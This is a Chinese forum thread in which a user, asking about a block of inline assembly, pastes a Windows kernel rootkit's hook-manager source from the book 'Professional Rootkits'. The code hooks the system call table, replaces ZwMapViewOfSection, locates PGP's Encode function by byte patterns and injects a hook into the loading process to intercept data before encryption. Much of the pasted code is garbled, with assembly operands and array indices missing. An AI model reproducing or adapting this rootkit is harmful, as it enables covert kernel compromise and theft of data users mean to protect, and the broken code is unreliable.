请教老大一个问题
mov edx, pSectionmov eax,
add eax, imageOffset
mov edx,
test byte ptr , 20h
jz not_image_section
mov imageSection, TRUE
mov eax,
mov edx,
mov hRoot, edx
add eax, 30h
mov objectName, eax
not_image_section:
这段汇编是从一个结构中得到数据,
我想找找这个结构的原型说明,
不知老大可以说明一下吗? 通过汇编能知道一个结构中某些字段所占的字节数(一般都是字或双字,根据寄存器大小判断),但完整的结构和各字段含义要通过更多代码和数据的分析才能知道。 这是Professional Rootkits上的原文件,
虽然知道它在做什么,就是看不懂它是怎么做的,
看来要把汇编再苦读一下了。
// hookManager
// Copyright Ric Vieler, 2006
// Hook the System Call Table
#include "ntddk.h"
#include "Ghost.h"
#include "hookManager.h"
#include "peFormat.h"
#include "injectManager.h"
// Add kernel hook(s)
NTSTATUS HookKernel( )
{
DWORD functionAddress;
DWORD position;
pMyMDL = MmCreateMdl( NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices * 4 );
if( !pMyMDL )
return( STATUS_UNSUCCESSFUL );
MmBuildMdlForNonPagedPool( pMyMDL );
pMyMDL->MdlFlags = pMyMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
NewSystemCallTable = MmMapLockedPages( pMyMDL, KernelMode );
if( !NewSystemCallTable )
return( STATUS_UNSUCCESSFUL );
// Need ZwProtectVirtualMemory to write into user memory.
// But it's not defined in ntddk.h so look for pattern
// searching backward from ZwPulseEvent
OldZwProtectVirtualMemory = findUnresolved(ZwPulseEvent);
if( OldZwProtectVirtualMemory == 0 )
return( STATUS_UNSUCCESSFUL );
// Add hooks here (remember to unhook if using DriverUnload)
HOOK( ZwMapViewOfSection, NewZwMapViewOfSection, OldZwMapViewOfSection );
return( STATUS_SUCCESS );
}
// Process Inject Dynamic Link Libraries
NTSTATUS NewZwMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PSIZE_T ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect )
{
NTSTATUS status;
// First complete the standard mapping process
status = OldZwMapViewOfSection( SectionHandle,
ProcessHandle,
BaseAddress,
ZeroBits,
CommitSize,
SectionOffset OPTIONAL,
ViewSize,
InheritDisposition,
AllocationType,
Protect );
// Now remap as required ( imageOffset only known for versions 4 & 5 )
if( NT_SUCCESS( status ) && ( majorVersion == 4 || majorVersion == 5 ) )
{
unsigned int imageOffset = 0;
VOID* pSection = NULL;
unsigned int imageSection = FALSE;
HANDLE hRoot = NULL;
PUNICODE_STRING objectName = NULL;
PVOID pImageBase = NULL;
UNICODE_STRING library1 = { 0 };
UNICODE_STRING library2 = { 0 };
CALL_DATA_STRUCT callData = { 0 };
int hooks2inject = 0;
// Image location higher in version 4
if( majorVersion == 4 )
imageOffset = 24;
if( ObReferenceObjectByHandle( SectionHandle,
SECTION_MAP_EXECUTE,
*MmSectionObjectType,
KernelMode,
&pSection,
NULL ) == STATUS_SUCCESS )
{
// Check to see if this is an image section
// If it is, get the root handle and the object name
_asm
{
mov edx, pSection
mov eax,
add eax, imageOffset
mov edx,
test byte ptr , 20h
jz not_image_section
mov imageSection, TRUE
mov eax,
mov edx,
mov hRoot, edx
add eax, 30h
mov objectName, eax
not_image_section:
}
if( BaseAddress )
pImageBase = *BaseAddress;
// Mapping a DLL
if( imageSection && pImageBase && objectName && objectName->Length > 0 )
{
// define libraries of interest
RtlInitUnicodeString( &library1, L"kernel32.dll" );
RtlInitUnicodeString( &library2, L"PGPsdk.dll" );
if ( IsSameFile( &library1, objectName ) ) // kernel32
{
kernel32Base = pImageBase;
}
else if ( IsSameFile( &library2, objectName ) ) // PGPsdk
{
// Pattern for PGP 9.0 Encode
BYTE pattern1[] = { 0x55, 0x8B, 0xEC, 0x83, 0xE4, 0xF8, 0x81, 0xEC, \
0xFC, 0x00, 0x00, 0x00, 0x53, 0x33, 0xC0, 0x56, \
0x57, 0xB9, 0x26, 0x00, 0x00, 0x00, 0x8D, 0x7C, \
0x24, 0x18, 0xF3, 0xAB };
PVOID pfEncode = GetFunctionAddress( pImageBase, NULL, pattern1, sizeof(pattern1) );
if( !pfEncode )
{
// Pattern for PGP 9.5 Encode
BYTE pattern2[] = { 0x81, 0xEC, 0xFC, 0x00, 0x00, 0x00, 0x53, 0x55, \
0x33, 0xDB, 0x68, 0x98, 0x00, 0x00, 0x00, 0x8D, \
0x44, 0x24, 0x14, 0x53, 0x50, 0x89, 0x9C, 0x24, \
0xB4, 0x00, 0x00, 0x00 };
pfEncode = GetFunctionAddress( pImageBase, NULL, pattern2, sizeof(pattern2) );
}
if( pfEncode )
{
hooks2inject = 1;
callData.index = USERHOOK_beforeEncode; callData.hookFunction = pfEncode; callData.parameters = 2; callData.callType = CDECL_TYPE; callData.stackOffset = 0;
DbgPrint("comint32: NewZwMapViewOfSection pfEncode = %x",pfEncode);
}
else
{
DbgPrint("comint32:PGP Encode not found."); }
}
if( hooks2inject > 0 )
{
PCHAR injectedMemory;
// prepare memory
injectedMemory = allocateUserMemory();
// inject
if( !processInject( (CALL_DATA_STRUCT*)&callData, hooks2inject, injectedMemory ) )
{
DbgPrint("comint32: processInject failed!\n" );
}
}
}
ObDereferenceObject( pSection );
}
}
return status;
}
// Used to compare a full path to a file name
BOOL IsSameFile(PUNICODE_STRING shortString, PUNICODE_STRING longString)
{
USHORT index;
USHORT longLen;
USHORT shortLen;
USHORT count;
index = longString->Length / 2; // wchar_t len is length / 2
// search backwards for backslash
while( --index )
if ( longString->Buffer == L'\\' )
break;
// check for same length first
longLen = (longString->Length / 2) - index - 1;
shortLen = shortString->Length / 2;
if( shortLen != longLen )
return FALSE;
// Compare
count = 0;
while ( count < longLen )
if ( longString->Buffer[++index] != shortString->Buffer )
return FALSE;
// Match!
return TRUE;
}
// Compare to char strings
BOOL IsSameString( char* first, char* second )
{
while( *first && *second )
{
if( tolower( *first ) != tolower( *second ) )
return FALSE;
first++;
second++;
}
if( *first || *second )
return FALSE;
// strings match!
return TRUE;
}
// Map user address space into the kernel
PVOID MapKernelAddress( PVOID pAddress, PMDL* ppMDL, ULONG size )
{
PVOID pMappedAddr = NULL;
*ppMDL = IoAllocateMdl( pAddress, size, FALSE, FALSE, NULL );
if( *ppMDL == NULL )
return NULL;
__try
{
MmProbeAndLockPages( *ppMDL, KernelMode ,IoReadAccess );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
IoFreeMdl( *ppMDL );
*ppMDL = NULL;
return NULL;
}
pMappedAddr = MmGetSystemAddressForMdlSafe( *ppMDL, HighPagePriority );
if( !pMappedAddr )
{
MmUnlockPages( *ppMDL );
IoFreeMdl( *ppMDL );
*ppMDL = NULL;
return NULL;
}
return pMappedAddr;
}
// Free kernel space after mapping in user memory
VOID FreeKernelAddress( PVOID* ppMappedAddr, PMDL* ppMDL )
{
if( *ppMappedAddr && *ppMDL )
MmUnmapLockedPages( *ppMappedAddr, *ppMDL );
*ppMappedAddr = NULL;
if( *ppMDL )
{
MmUnlockPages( *ppMDL );
IoFreeMdl( *ppMDL );
}
*ppMDL = NULL;
}
// get DOS Header -> NT Header -> Optinal Header -> SizeOfImage
ULONG GetImageSize( PVOID baseAddress )
{
PIMAGE_DOS_HEADER pDOSHeader;
PIMAGE_NT_HEADER pNTHeader;
ULONG imageSize = 0;
PVOID pTempNTHeader;
PVOID mappedBase;
PMDL pMDL;
mappedBase = MapKernelAddress( baseAddress, &pMDL, sizeof(PIMAGE_DOS_HEADER) );
if( mappedBase )
{
pDOSHeader = (PIMAGE_DOS_HEADER)mappedBase;
pTempNTHeader = (PVOID)(pDOSHeader->e_lfanew);
FreeKernelAddress( &mappedBase, &pMDL );
mappedBase = MapKernelAddress( (PVOID)((ULONG)baseAddress + (ULONG)pTempNTHeader), &pMDL, sizeof(PIMAGE_NT_HEADER) );
if( mappedBase )
{
pNTHeader = (PIMAGE_NT_HEADER)mappedBase;
imageSize = pNTHeader->OptionalHeader.SizeOfImage;
FreeKernelAddress( &mappedBase, &pMDL );
}
}
return imageSize;
}
// find an undocumented ntdll function
PVOID findUnresolved( PVOID pFunc )
{
UCHAR pattern = { 0 };
PUCHAR bytePtr = NULL;
PULONGoldStart = 0;
ULONG newStart = 0;
memcpy( pattern, pFunc, 5 );
// subtract offset
oldStart = (PULONG)&(pattern);
newStart = *oldStart - 1;
*oldStart = newStart;
// Search for pattern
for( bytePtr = (PUCHAR)pFunc - 5; bytePtr >= (PUCHAR)pFunc - 0x800; bytePtr-- )
if( checkPattern( bytePtr, pattern, 5 ) == 0 )
return (PVOID)bytePtr;
// pattern not found
return NULL;
}
// Get the address of a function from a DLL
// Pass in the base address of the DLL
// Pass function name OR pattern and pettern length
PVOID GetFunctionAddress( PVOID BaseAddress,
char* functionName,
PBYTE pattern,
size_t patternLength)
{
ULONG imageSize;
ULONG virtualAddress;
PVOID returnAddress;
PULONG functionAddressArray;
PWORD ordinalArray;
PULONG functionNameArray;
ULONG loop;
ULONG ordinal;
PVOID mappedBase;
PMDL pMDL;
BYTE* bytePtr;
BYTE* maxBytePtr;
PIMAGE_DOS_HEADER pDOSHeader;
PIMAGE_NT_HEADER pNTHeader;
PIMAGE_EXPORT_DIRECTORY exportDirectory;
imageSize = GetImageSize( BaseAddress );
mappedBase = MapKernelAddress( BaseAddress, &pMDL, imageSize );
if ( functionName == NULL )
{
// Search for function pattern
returnAddress = 0;
maxBytePtr = (PBYTE)((DWORD)mappedBase + (DWORD)imageSize - (DWORD)patternLength);
for( bytePtr = (PBYTE)mappedBase; bytePtr < maxBytePtr; bytePtr++ )
{
if( checkPattern( bytePtr, pattern, patternLength ) == 0 )
{
returnAddress = (PVOID)((DWORD)BaseAddress + (DWORD)bytePtr - (DWORD)mappedBase);
break;
}
}
if( mappedBase )
FreeKernelAddress( &mappedBase, &pMDL );
return returnAddress;
}
// Search for function name
pDOSHeader = (PIMAGE_DOS_HEADER)mappedBase;
pNTHeader = (PIMAGE_NT_HEADER)((PCHAR)mappedBase + pDOSHeader->e_lfanew);
imageSize = pNTHeader->OptionalHeader.DataDirectory.Size;
virtualAddress = pNTHeader->OptionalHeader.DataDirectory.VirtualAddress;
exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PCHAR)mappedBase + virtualAddress);
functionAddressArray = (PULONG)((PCHAR)mappedBase + exportDirectory->AddressOfFunctions);
ordinalArray= (PWORD)((PCHAR)mappedBase + exportDirectory->AddressOfNameOrdinals);
functionNameArray = (PULONG)((PCHAR)mappedBase + exportDirectory->AddressOfNames);
ordinal = (ULONG)functionName;
if (!ordinal)
{
if( mappedBase )
FreeKernelAddress( &mappedBase, &pMDL );
return 0;
}
if( ordinal <= exportDirectory->NumberOfFunctions )
{
if( mappedBase )
FreeKernelAddress( &mappedBase, &pMDL );
return (PVOID)((PCHAR)BaseAddress + functionAddressArray);
}
for( loop = 0; loop < exportDirectory->NumberOfNames; loop++ )
{
ordinal = ordinalArray;
if( functionAddressArray < virtualAddress || functionAddressArray >= virtualAddress + imageSize )
{
if( IsSameString( (PSTR)((PCHAR)mappedBase + functionNameArray), functionName ) )
{
returnAddress = (PVOID)functionAddressArray;
if( mappedBase )
FreeKernelAddress( &mappedBase, &pMDL );
return (PVOID)((DWORD)BaseAddress + (DWORD)returnAddress);
}
}
}
DbgPrint("comint32: EXPORT NOT FOUND, function = %s", functionName);
if( mappedBase )
FreeKernelAddress( &mappedBase, &pMDL );
return 0;
}
// This should be fast!
int checkPattern( unsigned char* pattern1, unsigned char* pattern2, size_t size )
{
register unsigned char* p1 = pattern1;
register unsigned char* p2 = pattern2;
while( size-- > 0 )
{
if( *p1++ != *p2++ )
return 1;
}
return 0;
} 现在发现外国人和咱就是有点不一样,
咱都是从基础教起,
可人家是给你一个好东西让你自己去琢磨他是怎么做的。 对了,还是一开始的问题,老大可以点拨一下吗?
那段汇编写的是个什么结构。
想知道它的原型,
内核编**够难的,
连个api参考都找不到 可能是PE FORMAT吧,看看PEFORMAT.H这个头文件。网上有一些PE文件的参考,可查。
页:
[1]